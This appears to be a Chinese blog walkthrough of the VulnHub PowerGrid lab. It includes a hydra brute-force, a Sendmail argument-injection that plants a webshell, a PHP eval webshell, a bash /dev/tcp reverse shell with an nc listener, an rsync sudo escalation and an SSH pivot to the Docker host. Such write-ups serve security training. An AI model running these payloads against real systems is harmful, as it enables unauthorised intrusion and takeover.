VulnHub靶机渗透 - PowerGrid 1.0.1
1. 目录扫描
使用 dirsearch 扫描网站目录:
1 | dirsearch -u http://192.168.197.143/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |

2. 账号爆破
使用 hydra 爆破:
1 | hydra -L ./reports/user.txt -P /usr/share/wordlists/rockyou.txt 192.168.197.143 http-get /zmail -e nsr |


3. 漏洞利用与 GetShell
登录后进入页面进行邮件发送:

然后抓包修改内容,利用 Sendmail 写入 Webshell:

1 | _from=p48%40powergrid+-OQueueDirectory%3D%2Ftmp+-X%2Fvar%2Fwww%2Fhtml%2Frce.php |
测试是否成功执行命令:
1 | curl -s 'http://192.168.197.143/g.php?cmd=id' | grep 'uid=' |

开始反弹 shell:

本地监听:
1 | nc -lvnp 4444 |
浏览器访问执行 Payload 反弹 shell:
1 | http://192.168.197.143/g.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.197.10%2F4444%200%3E%261%27 |
浏览器输入即可:

第一个 flag 在网站根目录下,提示有内网环境:
1 | flag1{fbd5cd83c33d2022ce012d1a306c27ae} |
也可以蚁剑连接:
1 | echo '<?php @eval($_POST["ant"]);?>' > /var/www/html/a.php |

4. GPG 解密与登录
在 p48 用户目录下发现用于 GPG 解密的私钥 (privkey.gpg)。
突然发现我知道 p48 账号密码了,直接就可以走 SSH 连进来了:
进去之后将邮箱中的 GPG 秘钥复制到靶机中,然后将秘钥和 privkey.gpg 一起下载到 Kali 中进行解密:
1 | gpg --batch --pinentry-mode loopback --passphrase electrico --import privkey.gpg |
将文件放在 home 中进行解析使用:

给文件权限:
1 | chmod 600 id_rsa |

就可以直接访问:

获得 flag2:
1 | 047ddcd1d33dfb7d80da3ce04e89df73 |
5. 权限提升
然后进行提权,使用 sudo -l 查看发现可以使用 rsync:
1 | sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null |
执行后输入 bash 进入正常 shell,查看 flag3 即可。
6. 内网与容器逃逸分析
继续进入 172.17.0.1 中:
1 | ls -la /root/.ssh/ |
获取 flag4:
1 | f5afaf46ede1dd5de76eac1876c60130 |

| 条件 | 谁提供的 | 作用 |
|---|---|---|
① 容器 root 能读 /root/.ssh/id_rsa |
容器内的权限设计 | 拿到一把 SSH 私钥 |
② 宿主机 root 的 authorized_keys 里有这把钥匙对应的公钥 |
题目作者故意留的配置 | 让这把钥匙能登录宿主机 root |
两个条件缺一不可。p48 也能 SSH 到 172.17.0.1,但:
p48读不了/root/.ssh/id_rsa(/root是 700,只有 root 能进);- 就算
p48拿到别的钥匙,宿主机也不认。
所以 rsync 提权的意义是让你有权读 /root,并非“突破容器”。
容器 root 和宿主机 root 的区别
1 | 容器: 独立 PID / mount / network / user namespace |
正常情况下,即使你在容器里是 root,执行 cat /root/flag4 也只是看容器的 /root,和宿主机的 /root 完全是两个目录。这题能过去,纯粹是因为宿主机自己把 SSH 信任给了容器。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 BenD!




